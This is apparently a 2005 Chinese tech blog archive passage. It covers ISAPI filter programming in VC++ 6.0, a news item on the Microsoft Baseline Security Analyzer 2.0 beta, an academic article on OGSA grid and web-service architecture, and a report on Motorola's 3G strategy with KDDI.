在上述ECB中,服务器不但提供了当前HTTP连接的句柄和一些变量,而且提供了4个回调函数给ISA调用,从而使ISA可以获得更详尽的信息。

三、ISAPI Filter

ISAPI Filter位于服务器和客户端之间,能够对服务器和客户端之间的通信进行预处理和后处理,比如对通信进行加密/解密、提供对客户进行身份验证的新方法、提供自定义的日志记录等,在CGI中没有与ISAPI Filter直接相对应的部分。

ISAPI Filter与服务器之间的接口有两个:GetFilterVersion( )和HttpFilterProc( )。任何
ISAPI Filter都必须引出这两个函数以供服务器调用。

1、在注册表的如下键值中存放着所有ISAPI Filter的文件名,IIS服务器启动时从该键值中获得
Filter的文件名并加载它们。

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/W3SVC/
Parameters/FilterDLL

2、然后服务器调用每个Filter提供的GetFilterVersion( )函数,获得版本号以及该Filter希望处理的事件,即ISAPI Filter通过引出GetFilterVersion( )函数来告知服务器自己希望处理什么类型的事件,因为ISAPI Filter是通过事件来激活的,当满足条件的事件到达时,服务器就会调用Filter引出的主函数HttpFilterProc( )对该事件进行处理。GetFilterVersion( )的原型如下:

BOOL WINAPI GetFilterVersion(
DWORD dwServerFilterVersion; //IN,服务器使用的版本规范
DWORD dwFilterVersion; //OUT,过滤器使用的版本规范
CHAR lpszFilterDesc[SF_MAX_FILTER_DESC_LEN+1]; //OUT,对该过滤器的描述字符串
DWORD dwFlags //OUT,事件和优先级标志
);

事件和优先级标志dwFlasg的取值在MSDN中有详细解释,其中包括该Filter被调用的优先级,一般应使用默认的低优先级,否则可能会对系统的性能造成很大影响。

3、HttpFilterProc( )是ISAPI Filter主要的入口函数,它根据当前的事件的不同作出不同的处理。服务器通过如下的参数块和Filter进行交互,这个参数块的作用和ISA中的ECB类似。

typedef struct _HTTP_FILTER_CONTEXT
{

DWORD cbSize; //IN,本参数块的大小
DWORD Revision; //IN
PVOID ServerContext; //IN,由server使用本参数
DWORD ulReserved; //IN,由server使用本参数
BOOL fIsSecurePort; //IN,事件是否发生在安全端口上
PVOID pFilterContext; //IN/OUT,与本次请求相关的上下文

//回调函数,取得关于服务器和本次连接的信息
BOOL (WINAPI * GetServerVariable) (
struct _HTTP_FILTER_CONTEXT * pfc,
LPSTR lpszVariableName,
LPVOID lpvBuffer,
LPDWORD lpdwSize
);

BOOL (WINAPI * AddResponseHeaders) ( //回调函数,给HTTP响应添加一个标头
struct _HTTP_FILTER_CONTEXT * pfc,
LPSTR lpszHeaders,
DWORD dwReserved
);

BOOL (WINAPI * WriteClient) ( //回调函数,将原始数据发送给客户端
struct _HTTP_FILTER_CONTEXT * pfc,
LPVOID Buffer,
LPDWORD lpdwBytes,
DWORD dwReserved
);

VOID * (WINAPI * AllocMem) ( //回调函数,分配内存。
struct _HTTP_FILTER_CONTEXT * pfc,
DWORD cbSize,
DWORD dwReserved
);

BOOL (WINAPI * ServerSupportFunction) ( //回调函数,访问服务器的一般和特定功能
struct _HTTP_FILTER_CONTEXT * pfc,
enum SF_REQ_TYPE sfReq,
PVOID pData,
DWORD ul1,
DWORD ul2
);

} HTTP_FILTER_CONTEXT, *PHTTP_FILTER_CONTEXT;

四、VC++ 6.0中对ISAPI的支持

VC++ 6.0中定义了5个相关的类以简化ISAPI的编程工作:CHttpServer、CHttpServerContext、CHttpFilter、CHttpFilterContext、CHtmlStream,这5个类都没有父类。其中CHttpServer和CHttpServerContext主要用来编写ISA,CHttpFilter和CHttpFilterContext则用来编写ISAPI Filter,而CHtmlStream则用来操作内存中的HTML文件,为其它的4个类提供服务。CHttpServer在每个ISA中只能有一个实例,一个CHttpServer可以对应多个CHttpServerContext实例,每个
CHttpServerContext处理一个客户请求,这样可以处理并发的HTTP请求;CttpFilter和CHttpFilterContext之间的关系与此类似,在每个ISAPI Filter中只能有一个CHttpFilter实例,但是可以有多个CHttpFilterContext来处理并发的事件。CHttpServer和CHttpFilter是独立的类,它们可以共存于一个DLL中,也可以分别在不同的DLL中。

一个ISA可以提供多个命令,每个命令对应于CHttpServer(或其子类)的一个成员函数,客户端可以在URL中指定命令名及其参数。在VC++ 6.0中是通过parse map来实现这种对应的。

Parse map类似MFC中的Windows消息分发机制,通过使用VC提供的DECLARE_PARSE_MAP、BEGIN_PARSE_MAP、ON_PARSE_COMMAND、ON_PARSE_COMMAND_PARAMS、DEFAULT_PARSE_COMMAND、END_PARSE_MAP等宏,可以实现对不同的命令的处理。每个CHttpServer中只能建立一个parse map,当客户端给ISA发来命令的时候,parse map可以分析HTTP请求中的命令名及其参数,将该命令与相应的成员函数关联起来,即由该成员函数处理该命令。以MSDN中的例子程序pinball为例,该例中有下面这样一个表单:

<form method=get action="pinball.dll?">
<input type="hidden" name="MfcISAPICommand" VALUE="GetImage">
<input type="radio" name="Favorite" value="1" checked> Attack from Mars<br>
<input type="radio" name="Favorite" value="2"> Twilight Zone<br>
<input type="radio" name="Favorite" value="3"> The Addams Family<br>
<input type="radio" name="Favorite" value="4"> Cirqus Voltaire<br>
<input type="radio" name="Favorite" value="0"> I don’t see it here<br>
<br>
<input type="submit" value="Show Me!">
</form>

当客户端选中了上面的表单中的"Attack from Mars"这一项并点击了submit按钮后,服务器端
最终将得到如下的URL串:

http://www.abc.com/pinball.dll?MfcISAPICommand=GetImage&Favorite=1

在该URL串中,命令名是GetImage,参数Favorite的值是1,因此pinball.dll中的如下成员函数
将被调用以处理该请求,其中参数dwChoice对应URL中的参数Favorite:

void CPinballExtension::GetImage(CHttpServerContext* pCtxt, long dwChoice);

而parse map需要按照下面的形式定义:

//CPinballExtension从CHttpServer派生而来
BEGIN_PARSE_MAP(CPinballExtension, CHttpServer)

//GetImage是CPinballExtension的成员函数,且有一个long型的参数即dwChoice
ON_PARSE_COMMAND(GetImage, CPinballExtension, ITS_I4)

//该参数在URL中的名字为Favorite
ON_PARSE_COMMAND_PARAMS("Favorite")

END_PARSE_MAP(CPinballExtension)

而对于ISAPI Filter,在VC中可以通过重载CHttpFilter(或其子类)的不同的成员函数来实现对不同事件的处理。可重载的函数如下,每一个成员函数均对应一个或多个事件:

OnPreprocHeaders
OnAuthentication
OnUrlMap
OnSendRawData
OnReadRawData
OnLog
OnEndOfNetSession

MSDN提供了4个关于ISAPI的编程实例:counter、MFCUCASE、pinball、wwwquote,有兴趣的可看看,本文主要不是介绍编程,所以不再赘述。

参考资料:

1、MSDN
2、《精通CGI编程》,丁一强等,清华大学出版社

2005年09月13日

         微软官方16日发布底层安全分析工具MBSA的最新测试版本Microsoft Baseline Security Analyzer (MBSA) 2.0测试版,该版本可以改进用户的安全管理进程,用户使用该工具可以普通的安全错误架构、检查出遗漏的安全更新等。

    官方目前在测试站点提供该测试版本的下载,以帮助官方更好地改进产品质量。

    用户只需使用自己的用户ID(Passport ID ), guest ID是:MBSA20,既可获得MBSA的最新测试版本。

    另据网络消息称,MSBA 2.0 测试版本提供的新特点有:

  *) 新增支持多款产品,包括Windows 64-Bit edition以及Windows XP Embedded Edition。

  *) 为WSUS管理员提供“未经核实”的根据;

  *) 报告新增Current Update Compliance当前更新列表(历史);

  *) 所有更新扫描支持XML输出(MBSA 1.2.x以MBSA格式扫描才使用XML,而/HF扫描则没有);

  *) 除去安全更新信息中的蓝色星号;

  *) 本地更新包,KB,公告。

  *) 最大数量公告,第三方相关ID;

  MSBA 2.0 测试版提供的简易错误信息处理特点是:

  *) 简化处理许多错误信息;

  *) 报告新增“怎样修复这个错误”连接;

  *) 在帮助文件主页打开新向导;

  *) 错误信息连接帮助主页和FAQ;

  *) 网站FAQ主题自动更新。  

    官方测试站点首页地址:http://beta.microsoft.com。用户只需使用自己的用户ID(Passport ID ), guest ID是:MBSA20,既可获得MBSA的最新测试版本。

2005年09月11日
作者: 曾华燊,李季,冯林,龚勋
        30多年来,计算机网络技术,特别是Internet技术已经深入到人类社会的政治、经济、文化各个领域,成为人类活动不可缺少的生产和生活工具;计算机网络技术与网络应用正在并将继续改变人类活动的模式。1989年出现的3W服务和1993年出现的图形界面浏览器MOSAIC,使浏览器/服务器(B/S)模式成为目前计算机网络应用的主体模式。由于浏览器界面直观、使用方便,计算机网络逐渐从政府、学界和工业界少数人使用的工具变为全人类公用的工具和服务手段,网络应用也由此获得一次飞跃。 


         Internet技术的推广与普及进一步促进了计算机网络应用技术的发展,电子科学(EScience)、电子业务(EBusiness)、电子政务(EGovernance)等应用近年来获得社会越来越多的重视。当单机系统难以满足复杂的大型的科学计算(高能物理学、地球观测、天文物理、生物信息学等)求解的需要时,人们开始转向研究如何在网络环境中利用多台地理位置上分散的大、中型计算机协同工作,共同完成复杂的计算,这就是最早促进网格技术研究的动力。后来,电子业务也提出类似的需求。于是,人们开始设想网络应用资源服务能否像电力网格(Electricity Grid)为用户提供的即插即用的输电服务一样方便。这就是计算机网络计算环境中“计算网格”(简称网格:Grid)概念出现的背景。 
应当指出:网格计算仅在使用方便这一点上借用了电力网格的概念;由于信息资源的存储与服务系统、资源的描述与表达、提供服务的方式上的千差万别,信息服务和计算网格与电力网格技术在复杂度上有很大的差别。 
         国际知名网格专家Ian Forster2002年在WWW 2000会议上的特邀发言中把网格计算描述为在多个虚拟社团机构间实现动态资源共享和协同解决问题的过程。也有人形象地把网格描述为“把整个因特网整合成一台巨大的超级计算机,实现计算资源、存储资源、数据资源、信息资源、知识资源、专家资源的全面共享的应用系统”。无论用什么方式去描述网格系统,我们都必须清醒地意识到:网格是计算机网络环境中实现用户访问地理位置分布、异构的计算机系统资源的一种通用应用服务平台。因此,它本身研究的重点是如何在计算机网络提供的已有服务平台之上,通过增强实现方便的协同工作与资源共享,而不是研究计算机网络技术本身。 
网格系统及其应用的目的在于对位置分布、异构(使用不同硬软件支撑、不同网络通信技术)和动态变化的虚拟机构的资源和服务可视化和进行集成与管理,使一旦需要就能够对这些计算机、应用服务、数据和其他资源能够进行访问。要实现这一目标的关键是实现标准化,从而将地理位置分散、属于不同机构的资源和服务当作单个虚拟系统进行管理,去发现、访问、调度和监控。全球网格论坛(GGF)是进行有关网格技术的标准化工作主要机构。GGF的主要工作是制订与开放式网格服务体系结构( Open Grid Service Architecture,OGSA )相关的标准。OGSA的体系结构充分利用了W3C制订的Web服务,本文将从开放式系统互联的角度来探讨Web服务和网格问题。 
 
1 计算机网络与网格体系结构的关系 
        Foster在文献[3]中把网格定性为“下一代Internet”。这一观点在网格界有一定的代表性。首先,这一说法把网格技术与Internet技术等同起来,把网格服务体系结构与Internet体系结构相混淆。尽管在同一篇文献中作者进一步解释说:网格不是Internet的替代物,而是在Internet之上为支持创新和利用计算与丰富的数据环境的附加协议和服务,但把只属于应用平台的网格等同于整个Internet,特别是等同于下一代的Internet的观点值得商榷。 
        从另一个角度看,目前的热门网络计算技术研究中还有对等计算(P2P)和普适计算(Pervasive/Ubiquitous Computing)等。这些网络计算技术无论从研究的出发点还是所关注的问题和体系结构上看,与网格计算都有所不同,至少在目前还难以做出网格服务作为可以包括上述技术在内的唯一网络计算技术的结论。因此,可以应用平台来表征Internet,既然它不是唯一的平台,用它来界定下一代Internet也不妥当。 
         另一个容易在网格与网络之间引起混淆的原因是:在过去大量的讨论网格体系结构的文献中,常常构建了一个从物理层设备、逻辑功能到应用层的多个层次结构;在某些文献中,甚至直接将网格体系中的层次结构与OSI/RM中的层次结构相联系和对照。这类对比往往使熟悉OSI/RM或Internet体系结构的读者感到困惑。首先,网格体系结构中包括大量的与实际系统资源(如内部硬件资源,计算机系统软件平台、文件与数据库等)的管理,这些功能是属于OSI/RM概念范围内的资源,它们对网络环境中的网格服务用户而言是不可见的。另一方面,将原本不具备上、下层次关系和OSI/RM中的协议与服务关系的上述资源,并与OSI/RM的层次关系对应,只能使网格结构更难理解。图1是文献[3]对五层网格“协议”体系结构与网络协议体系结构的对比关系图。 
 
        图1中的构造层(Fabric)代表具体的网格系统的物理或逻辑资源(计算资源、存储系统、目录、网络资源等;逻辑资源包括分布式文件系统、分布计算池、计算机群等)。应当指出:构造层除了“网络资源”以外,其余部分都是计算机系统中与对OSI/RM无关的硬软件系统的抽象,它与OSI/RM中解决系统间二进制位流/帧的传输的物理层/数据链路层无论从概念到功能都毫无相似之处,在二者间建立如图1所示的对应关系只能造成概念的混淆。  
         连接层(Connectivity)的功能被定位于支持方便安全的通信,包括网格中的安全通信与认证授权控制的核心协议,实现资源间的数据交换和授权认证、安全控制等。尽管这部分功能与网络协议相关,但在OSI/RM中应隶属于表示层(Presentation Layer),而在Internet体系结构中属于广义的应用层范畴。因此,图1将它与网络层和传送层相对应不符合网络体系结构中的层次功能的划分。 
        资源层(Resource)利用连接层的通信和认证服务,解决安全会话、资源初始化、资源运行状况监测、资源使用状况统计等问题并通过调用构造层函数来访问和控制局部资源。  
       汇集层(Collective)的功能是协调各种资源。该层将资源层提交的受控资源汇集在一起,供虚拟组织的应用程序共享和调用。该层组件可以实现各种共享行为,包括目录服务、资源协同、资源监测诊断、数据复制、负荷控制、账户管理等功能。 
         应用层(Application)为网格服务虚拟组织环境中的最上层,它通过各层的应用程序编程接口(API)调用相应的服务并调动网格上的资源来完成任务。为便于网格应用程序的开发,需要构建支持网格计算的大型函数库。 
        图1中的上述三层的功能部分可归入Internet中应用层内的网格的通用应用服务范畴,大部可以归入网格应用层服务与实际系统间的映射机制。从图1中应用层直接访问汇集层、资源层和连接层来看,后三层都是应用层的邻子层,三者间不具备邻层关系。而三子层与所谓结构层的关系则完全属于网格服务与计算机系统的资源和资源管理之间的映射机制,属于网格之外对网络用户不可见的部分。 
 
2 开放式网格体系结构(OGSA) 
2.1 全球网格论坛和其他与网格相关的国际机构 
        2000年底,美国网格论坛、欧洲网格论坛和亚洲网格论坛合并组成了全球网格论坛(Global Grid Forum,GGF)。GGF是由用户、研发人员和产品生产厂家组成的致力于网格技术标准化的社团。其使命是定义能够导致标准化和软件间的互操作的网格技术文本并形成国际性社团交换相关的思想、经验、需求和实践。GGF成立以来已经先后制订了若干网格工作文件(Grid Work Document, GWD)和45个“网格最终文件”(Grid Final Document,GFD),其中包括本文将重点讨论的开放式网格服务体系结构(Open Grid Services Architecture,Version 1.0, OGSA)和开放式网格基本结构(Open Grid Service Infrastructure,OGSI)。 
为了使网格技术能够实现远程资源调用和复杂数据的交换,OGSA和OGSI借用了3W组织制订的Web服务的相关标准,如: Web服务描述语言(WSDL)和简单对象访问控制协议(SOAP),并积极参与和推动Web服务资源框架(WSRF)标准的制订,准备作为OGSI的替代层。 
 
2.2 开放式网格服务体系结构(OGSA) 
       所谓网格体系结构或网格服务体系结构是确定网格服务系统中的基本系统组件,界定和描述设置系统基本组件的目的和组件的功能,并说明组件之间如何进行交互式的操作的概念模型。2002 年 6 月,GGF制订了OGSA及其基本服务结构OGSI。与其他开放系统类似,OGSA通过定义标准的服务和接口实现虚拟组织之间相互开放。 
       OGSA是面向服务的体系结构, 所谓“服务”在OGSA中被定义为:“在网络支持下通过信息交换能够给客户提供某种能力的实体”。在分布式环境中,从信息交换的角度来看,服务可以看作是导致服务实体执行某些操作的特定信息交换序列,因此,在OGSA中可见的操作都是信息交换的结果。OGSA将服务操作封装在一个面向消息的公共接口之中,从而实现服务的虚拟化,即将服务的定位与服务实现细节相分离。在OGSA中,计算资源、存储资源、网络、程序、数据库等都被表示为服务。 
        早期的OGSA文本也将其体系结构表达为类似于计算机网络分层结构那样的层间关系;新版本的OGSA中已经不再采用这种描述方式,而代之以如图2所示的网格服务基本结构为中心的关联视图。 
 
        图2中的粗线表示OGSA服务界面,其上为利用OGSA服务的用户域。粗线以下所画的两层为与OGSA相关的功能。中心的方框表示OGSA的网格基础结构提供的核心服务,框外的各种功能利用基础结构提供开放式网格服务。基础结构所提供的服务是OGSA的核心服务,它解决描述和发现服务属性、创建服务实例、管理服务生命期、管理服务组、发布标准接口和通知接口预订等方面的问题。分布在细线之上粗线之下的功能如资源管理、执行管理、检测与分析、框架优化等功能(图中未穷举)都是利用基础结构服务来实现的。图中穿过网格基础结构的细线将属于OGSA自身的功能与本地系统原有的资源分开,而OGSA关注的部分除了中心为网格基础结构,其他活动以它为中心之外,并未明确地划分层次结构。 
 
3 OGSA的基础服务结构 
        在网格应用的资源分布的环境中,要实现分布式网络计算必须解决好如何在OGSA服务间实现交互的问题。为此,必须具备用机器可理解的方式描述服务需求和接口的能力,动态地发现、定位和组合网格服务的能力。 
          GGF选择了W3C制订的Web服务相关标准作为实现其目标的基础,并根据OGSA的需要对Web服务进行扩充与增强,构建其基础服务结构。 
 
3.1 Web服务 
        Web服务与其支撑平台一道在以计算机网络为支撑的分布、异构计算机环境中提供一种通用的互操作手段,它具有动态资源发现和组合能力。由于在Web服务之上构建应用系统十分方便,它已经成为构建互联网分布式应用系统(EScience,EBusiness和EGovernance等)的基本手段。Web服务涉及四个要素: Web服务说明(WSD)、用于封装WSD的消息封(envelope)、对下层传输协议的绑定、运载消息的传输协议以及Web服务的发布机制。 
1) Web服务描述语言(WSDL) 
         WSDL(Web Service Description Language)是Web咨询机构W3C所定义的Web服务描述语言。它为描述Web服务提供模型和XML格式。WSDL对Web服务的描述分为抽象描述和具体描述,描述采用结构化方式进行,以提高服务描述的可重用性。 
            在抽象描述阶段,Web服务用收发的消息来描述,采用XML Schema格式。“操作”是对服务中能够收发的消息种类和消息交换格局的描述,一个操作可与一个或多个消息交换规则(消息收发序列和顺序及逻辑收发方)相联系。最后在抽象描述中, Web服务接口是成组的操作,但未与传送或具体格式挂钩。  
           在具体描述阶段,“绑定”关系的描述将定义抽象的服务接口所使用的传送协议和具体格式;通过“可用服务端点”(Endpoint)将绑定部件与网络地址联系起来;最后将实现共同服务接口的可用服务端点合并定义为Web服务。 
 
2) 简单对象访问协议(SOAP) 
        Web服务可用于在互联网上发布可用的应用程序模块(服务),完成请求服务以及WSD和语义的协商。WSDL的描述采用符合扩展标记语言结构与约束(XML Schema)规定的文本格式,不适合直接作为应用消息传输,需要封装在固定格式的消息内再进行传输。W3C的简单对象访问协议定义一种封装格式和结构,定义了用于识别(强制性或选择性)处理部分或全部消息的对象的机制,以及如何将SOAP消息与下层传输协议绑定的方法。例如,当下层采用超文本传输协议(HTTP)时,SOAP消息可能作为HTTP POST请求与应答中的净荷(Payload)部分传输,或作为SOAP消息对HTTP GET的应答,从而实现与HTTP的绑定。为了适应远程程序调用的需要,SOAP还定义了SOAP数据模型,即用于运载RPC的数据编码结构。 
3) SOAP消息的传输协议 
        SOAP定义了可用于装载WSDL描述的消息格式,它需要与端系统之间运载SOAP消息的传输协议相结合才能完成Web服务既定的功能。前面已经提到,应用层的超文本传输协议(HTTP)是一种可能的选择,但SOAP并不排除使用其他应用层协议,如简单邮件传输协议SMTP、微软公司的消息对列协议(Microsoft Message Queue,MSMQ)或者直接利用传送层协议(TCP)。 
4) 注册或服务发现 
        为了便于用户查询和使用已有的服务,需要将Web Service在管理服务器上注册。相关技术和标准由“促进结构化信息标准机构”(OASIS)的通用描述、发现与集成(Universal Description Discovery and Integration,UDDI)成员组制订。 
           Web服务的使用过程可以用图3来简单描述,即服务请求与提供服务双方通过代理交换Web服务描述(WSD)和语义达到服务协商一致来完成的。 
 
         如图3所示,参与服务的双方在已经了解可用的Web服务的前提下进行服务协商时,首先将WSDL描述的文本(WSD和语义定义)封装在SOAP消息之中(净荷字段),然后利用传输协议(如HTTP)通过交换SOAP消息完成协商过程。 
 
3.2 开放式网格服务基础结构(OGSI) 
             在GGF进行OGSA相关文本的制订过程中,一方面认定Web服务时提供网格服务的最佳选择,另一方面又感到1.0版的Web服务还存在一些问题,不能满足OGSA的需要,需要对之进行扩展,由此提出开放式网格服务基础结构( Open Grid Service Infrastructure,OGSI)对Web服务进行扩展。 
       首先,OGSA定义网格服务具有动态变化的特性,即服务实例会随着工作的分派、资源配置与供给以及系统状态的变化而不断产生与消亡。因此,网格服务需要对服务实例的创建、撤销和生命期进行管理。第二,网格服务可以拥有与自身相关的属性和数据。这在概念上类似于面向对象编程中对象的传统结构。对象有其行为和数据。同样地,Web 服务需要得到扩展,从而支持与网格服务相关的状态数据。  
        OGSI规范通过扩展Web服务定义语言WSDL和XML Schema的功能来解决具有状态属性的Web服务的问题。它针对网格服务的需要定义了一套标准化的接口,包括:服务实例的创建、命名和生命期管理,服务状态数据的声明和查看,服务数据的异步通知,服务实例集合的表达和管理,以及一般的服务调用错误的处理等。  
 
3.3 网络服务资源框架(WSRF)与OGSI 
       OGSI是GGF根据OGSA的需要,通过对无状态的Web服务的增强,重新定义支持有状态的OGSI服务。2004年3月,Globus联盟和IBM发布了Web服务资源框架(Web Service Resource Framework v 1.0,WSRF)。GGF采取将Web服务扩展为支持有状态服务的策略来构建OGSI。WSRF与GGF不同,在保留无状态的Web服务的前提下,将资源定义为是有状态的。如果设计了一组在分布式环境中能够表示、识别和访问有状态的资源标准化的Web服务定义方法,无状态的Web服务就能够用来描述有状态的资源。对OGSA来说,这一思路实质上意味着如果使用WSRF, GGF的OGSA中不再需要OGSI针对网格的专用服务。  
           由于WSRF不像GGF那样针对特定应用而定义,而是作为对Web服务通用性的增强与扩展,在服务功能上更有普遍性。 
 
4 用OSI/RM分析OGSA层次结构 
           在分析OGSA结构时,笔者曾经指出:2005年发布的文本对OGSA体系结构的描述不再采用原来的层次关系,而改用图2所示的以OGSI为中心的半层次化关系的描述方法。但笔者认为,该图仍然没有从概念上将网格体系结构中与网格服务相关的具有网络层次结构的网格服务功能与计算机系统原有的资源与功能相区别。为了便于读者理解OGSA体系结构,以OSI/RM的框架为背景将它描述为图5所示。 
 
           图5将支持OGSA的计算机系统概念上分为两部分:右边为从OSI/RM的观点属于计算机网络范畴的部分,左边为不属于计算机网络范畴的部分。两部分之间由OGSA在计算机上的内部应用接口相联。图中的服务映射方框代表计算机原有机制、资源和能力之间的映射或实现。本机用户将通过左部利用OGSA服务;远程用户将通过右部的正常网络渠道请求、协商与获得服务。笔者认为,用图5所示的结构来描述OGSA更容易理解其服务过程。 
 
5 结语 
            本文从网络的角度对开放式网格服务进行了简要的探讨。与OGSA相关的机构除了文中多次提到的全球网格论坛(GGF)之外,还有Globus论坛、促进结构化信息标准机构(OASIS)和W3C等机构。对网格技术感兴趣的读者,可从上述机构的官方网站及时获得最新信息。鉴于OGSA是一个仍处于研究过程中的复杂的体系结构,涉及大量的标准和文献,笔者对OGSA的理解难免有不妥之处,欢迎广大读者批评指正。




来源:《计算机应用》
2005年09月10日
【导读】自詹德担任全球CEO以来,“无缝移动”已明确成为摩托罗拉3G的核心战略。3G是摩托罗拉目前发展的重点,不仅因为3G即将在全球大规模商用,更为重要的是,3G将是实现“无缝移动”的一个优质载体。 
                                                                                      ——出处: 中国经营报

  自詹德担任全球CEO以来,“无缝移动”已明确成为摩托罗拉3G的核心战略。3G是摩托罗拉目前发展的重点,不仅因为3G即将在全球大规模商用,更为重要的是,3G将是实现“无缝移动”的一个优质载体。

  3G应用无处不在

  日本领先的电信运营商KDDI从2002年开始在日本全国范围内的摩托罗拉cdmaOne网络上配置3G移动服务CDMA2000 1X,成为世界上第一个2.1GHz的CDMA2000 1X业务。现在,摩托罗拉在KDDI的无线移动通信领域发挥着至关重要的作用。

  KDDI公司总裁Tadashi Onodera 表示:“从我们开始提供CDMA 1X商业化服务到现在,CDMA用户数量已达1900万。通过配置采用摩托罗拉创新解决方案的拓展系统,我们期望提高KDDI的CDMA 1X服务在日本市场的竞争力,从而确保我们目前的用户群能够持续增长。”

  在日本东京最繁华、最时尚的中心地带原宿,KDDI开设了一家针对移动用户的“年轻我最酷”大型娱乐中心——KDDI设计工作室。这里是KDDI展示各种最新的3G应用,并让年轻用户体验的娱乐场所。据中心负责人介绍,之所以将设计工作室选择在原宿,是因为“原宿领导着日本青年文化的发展方向”。这与KDDI全面启动3G战略时考虑的重点不谋而合。

  KDDI在这里展示的各种3G应用包括:移动寻位EZ Navi Walk、身份认证、音乐下载、移动游戏、手机电视、儿童安全保障、照片邮件、电子杂志、电子钱包等等。

  以移动寻位为例,当持有3G手机的某个人想寻找到某个饭店的具体位置时,位置服务不是仅给出粗线条的线路图,而是根据这个人目前所在的位置,在手机中以“箭头”的方式,指引人们按照道路情况到达目的地。

  而Chaku Uta Full音乐下载系统则通过与音乐网站的合作,让年轻人随时可以通过CDMA2000 1X网络下载各种最新的流行音乐。手机终端实际是一个超级便利的MP3系统。

  儿童安全呼叫服务,是妈妈为保障孩子的安全而给孩子配备一款专门的手机。一旦孩子发生意外,只需要按下手机上的按钮,信息就自动传递到一家专业的保安公司。保安人员能根据位置提示,在最短的时间内赶到出事地点。

  目前KDDI正在与合作伙伴研究开发“面孔识别”技术。将来,手机将能够识别人脸图像,从而成为进入内部门禁系统的“钥匙”。

  技术成熟仍需市场接受

  一直以来,摩托罗拉3G技术都是业界的领先者。而近期,摩托罗拉更是在多项技术上取得了突破。

  在终端产品方面,摩托罗拉宣布了全新的全球产品设计战略,圆润与纤薄的外形是该战略的核心所在。这使得摩托罗拉产品在拥有时尚外观的同时,也为消费者营造了一个能体验音乐、视频短片、游戏、电影和下载等丰富的3G应用环境,将摩托罗拉“3G设备的领导者”的优势体现得淋漓尽致。

  多年来,摩托罗拉已经在世界范围内成功设计、实施了数百个移动网络案例,并为这些网络的运营者提供一系列的优化、维护服务,在加强网络运营方面积累了丰富的经验。现在,摩托罗拉已经可以提供包括UMTS和CDMA2000EVDO技术从系统到终端完整的端到端解决方案,帮助运营商快速经济地建造稳定可靠的商用3G网络,并在全球范围内拥有多个成功的案例。

  摩托罗拉中国区总裁高瑞彬认为:“3G的发展和存在以及接下来的商用,是有其必要性的。数据业务的确是目前3G发展上的一个瓶颈。在很多国家,3G的发展也在一定程度上受到了频率资源的限制,以及政府关于牌照政策的一些影响。3G不完全是一个技术问题。技术的成熟之后还需要市场的接受,最后把它变成一个文化、一个媒体,才能有更大的市场。”